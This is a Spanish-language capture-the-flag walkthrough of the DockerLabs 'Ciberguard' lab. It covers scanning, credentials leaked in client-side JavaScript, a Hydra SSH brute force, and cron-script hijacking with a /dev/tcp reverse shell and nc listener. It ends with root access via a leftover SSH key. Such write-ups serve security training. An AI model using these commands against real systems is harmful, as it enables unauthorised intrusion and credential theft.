Ciberguard DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip ciberguard.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh ciberguard.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 13:25 EDT
Nmap scan report for bicho.dl (172.17.0.2)
Host is up (0.000060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:f6:3a:98:23:dc:8b:00:f0:5c:d5:50:07:f9:ec:e7 (ECDSA)
|_ 256 b0:4e:cb:2a:e0:ac:cf:4c:14:7b:23:57:00:6d:12:1d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: CyberGuard - Seguridad Digital
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Veremos que hay una pagina web alojada en el puerto 80
, si entramos dentro veremos una pagina como de una empresa llamada ciberguard
, aparentemente no veremos nada interesante, por lo que vamos a realizar un poco de fuzzing
a ver si encontramos algo mas interesante.
Vemos que hay un panel de login
en la pagina, por lo que podemos creer que puede haber alguna mala configuracion en algun script
que maneje la autenticacion.
Si inspeccionamos el codigo y bajamos abajo del todo veremos esto:
<script src="archiv/script.js"></script>
Si entramos dentro veremos que esta realizando la validacion de las credenciales para entrar al panel
de administracion, pero si bajamos abajo del todo, estara la lista de los usuarios validos con sus contraseñas en texto plano:
const usuariosPermitidos = {
'admin': 'CyberSecure123',
'cliente': 'Password123',
'chloe' : 'chloe123'
};
Por lo que vamos a probar a loguearnos
con el usuario admin
, si lo hacemos veremos que nos carga el panel
de administracion
de forma correcta.

Pero no veremos nada interesante, por lo que vamos a probar a crearnos un diccionario de usuarios y passwords a ver si de las que estan publicas puede haber alguna que sea valida a nivel de sistema.
users.txt
admin
cliente
chloe
pass.txt
CyberSecure123
Password123
chloe123
Escalate user chloe
Hydra
hydra -L users.txt -P pass.txt ssh://<IP>/ -t 64 -I
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-07 13:48:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: chloe password: chloe123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-07 13:48:13
Veremos que hemos encontrado unas credenciales validas, por lo que vamos a conectarnos por SSH
con dicho usuario.
SSH
ssh chloe@<IP>
Metemos como contraseña chloe123
y veremos que estamos dentro.
Escalate user veronica
Vamos a ver cuantos ususarios encontramos en el sistema:
cat /etc/passwd | grep "/bin/bash"
Info:
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
veronica:x:1001:1001:,,,:/home/veronica:/bin/bash
pablo:x:1002:1002:,,,:/home/pablo:/bin/bash
chloe:x:1003:1003:,,,:/home/chloe:/bin/bash
Vemos que hay varios usuarios, pero si listamos la home
entera veremos lo siguiente:
total 24
drwxr-xr-x 1 root root 4096 Apr 16 23:03 .
drwxr-xr-x 1 root root 4096 May 7 13:24 ..
drwxr-x--- 1 chloe chloe 4096 Apr 18 22:14 chloe
drwxr-x--- 1 pablo pablo 4096 May 2 18:11 pablo
drwxr-x--- 2 ubuntu ubuntu 4096 Jan 26 22:09 ubuntu
drwxr-xrwx 1 veronica veronica 4096 Apr 18 16:35 veronica
Vemos que en la carpeta del usuario llamado veronica
tiene todos los permisos, si entramos dentro veremos varios archivos, si vamos leyendo cada uno de ellos, veremos uno muy interesante en esta parte.
cat .bash_history
Info:
dmVyb25pY2ExMjMK
Veremos que esta codificado en Base64
, si lo decodificamos veremos:
veronica123
Pero no funcionara si lo intentamos, por lo que vamos a intentarlo directamente con el Base64
.
su veronica
Metemos como contraseña dmVyb25pY2ExMjMK
y veremos que seremos dicho usuario.
Escalate user pablo
Vamos a pasarnos el linpeas.sh
a la maquina victima utilizando desde el host
la herramienta scp
.
Primero nos descargamos el linpeas.sh
:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Ahora ejecutamos lo siguiente para pasarnos el archivo.
scp linpeas.sh chloe@<IP>:/tmp
Metemos como contraseña chloe123
y veremos que funciono, ahora si vamos a la carpeta /tmp
de la maquina victima, veremos el binario, lo ejecutaremos de la siguiente forma:
cd /tmp
chmod +x linpeas.sh
./linpeas.sh
De toda la informacion que nos da, vemos una cosa muy interesante, que sera la siguiente:
SHELL=/bin/sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
* * * * * pedro /home/veronica/.local/script-h.sh > /tmp/hora/hora.log 2>&1
Vemos que hay un crontab
que esta ejecutando el usuario pablo
un script que esta en la home
de veronica
, por lo que vamos a ver si hay alguna vulnerabilidad para ser el usuario pablo
.
Vamos a ver que procesos estan sucediendo dentro del sistema con un script llamado pspy64
.
URL = Download pspy64
Una vez que nos lo hayamos descargado, lo pasamos con la misma herramienta scp
.
scp pspy64 chloe@<IP>:/tmp
Metemos como contraseña chloe123
y con esto se habra pasado de forma correcta, ahora en la maquina victima lo ejecutamos de la siguiente forma:
cd /tmp
./pspy64
Info:
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/07 14:29:39 CMD: UID=1003 PID=9777 | ./pspy64
2025/05/07 14:29:39 CMD: UID=1003 PID=228 | -bash
2025/05/07 14:29:39 CMD: UID=1003 PID=227 | sshd: chloe@pts/0
2025/05/07 14:29:39 CMD: UID=0 PID=216 | sshd: chloe [priv]
2025/05/07 14:29:39 CMD: UID=0 PID=102 | tail -f /dev/null
2025/05/07 14:29:39 CMD: UID=0 PID=101 | /usr/sbin/cron -P
2025/05/07 14:29:39 CMD: UID=0 PID=95 | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2025/05/07 14:29:39 CMD: UID=33 PID=29 | /usr/sbin/apache2 -k start
2025/05/07 14:29:39 CMD: UID=33 PID=28 | /usr/sbin/apache2 -k start
2025/05/07 14:29:39 CMD: UID=0 PID=24 | /usr/sbin/apache2 -k start
2025/05/07 14:29:39 CMD: UID=0 PID=1 | /bin/sh -c service apache2 start && service ssh start && service cron start && tail -f /dev/null
2025/05/07 14:30:01 CMD: UID=0 PID=9786 | /usr/sbin/CRON -P
2025/05/07 14:30:01 CMD: UID=0 PID=9787 | /usr/sbin/CRON -P
2025/05/07 14:30:01 CMD: UID=1002 PID=9788 | /bin/sh -c /home/veronica/.local/script-h.sh > /tmp/hora/hora.log 2>&1
2025/05/07 14:30:01 CMD: UID=1002 PID=9789 |
2025/05/07 14:30:01 CMD: UID=1002 PID=9789 |
2025/05/07 14:31:01 CMD: UID=0 PID=9791 | /usr/sbin/CRON -P
2025/05/07 14:31:01 CMD: UID=0 PID=9792 | /usr/sbin/CRON -P
Veremos que efectivamente se esta ejecutando el crontab
por lo que vamos hacer lo siguiente.
Si listamos la carpeta .local
veremos lo siguiente:
total 16
drwxrwxr-x 3 veronica veronica 4096 Apr 18 11:13 .
drwxr-xrwx 1 veronica veronica 4096 Apr 18 16:35 ..
-rwxrwx--x 1 pablo taller 121 Apr 17 17:23 script-h.sh
drwx------ 3 veronica veronica 4096 Apr 18 10:47 share
Vemos que tanto el usuario pablo
como el grupo taller
pueden editar el script, si vemos a que grupos pertenecemos, veremos lo siguiente:
id
Info:
uid=1001(veronica) gid=1001(veronica) groups=1001(veronica),100(users),1004(taller)
Veremos que somos de dicho grupo
por lo que podremos editar el script
, vamos hacer lo siguiente para generar una reverse shell
.
cd /home/veronica/.local/
nano script-h.sh
#Dentro del nano
#!/bin/bash
.............................<RESTO DE CODIGO>...................................
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
Lo guardamos y rapidamente nos ponemos a la escucha.
nc -lvnp <PORT>
Ahora solo tendremos que esperar un rato, despues de esperar, si vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 40728
bash: cannot set terminal process group (9878): Inappropriate ioctl for device
bash: no job control in this shell
pablo@31379bb8b4c2:~$ whoami
whoami
pablo
Veremos que somos el usuario pablo
por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for pablo on 31379bb8b4c2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pablo may run the following commands on 31379bb8b4c2:
(ALL) NOPASSWD: /usr/bin/python3 /opt/nllns/clean_symlink.py *.jpg
Vemos que podemos ejecutar el binario python3
en la ruta absoluta establecida como el usuario root
.
Si vamos a la carpeta /tmp
veremos esto de aqui:
-rw------- 1 pablo pablo 3381 May 2 16:58 id_rsa
Vamos a probar si fuera la clave PEM
del usuario root
, por lo que nos la vamos a copiar y pegar en nuestra maquina host
.
nano id_rsa
#Dentro del nano
<CLAVE_ID_RSA>
Lo guardamos y establecemos los permisos necesarios.
chmod 600 id_rsa
Ahora vamos a probar a meternos como root
desde SSH
con la clave PEM
.
ssh -i id_rsa root@<IP>
Info:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.12.13-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri May 2 17:00:02 2025 from ::1
root@31379bb8b4c2:~# whoami
root
Con esto veremos que somos root
por lo que habremos terminado la maquina.
Last updated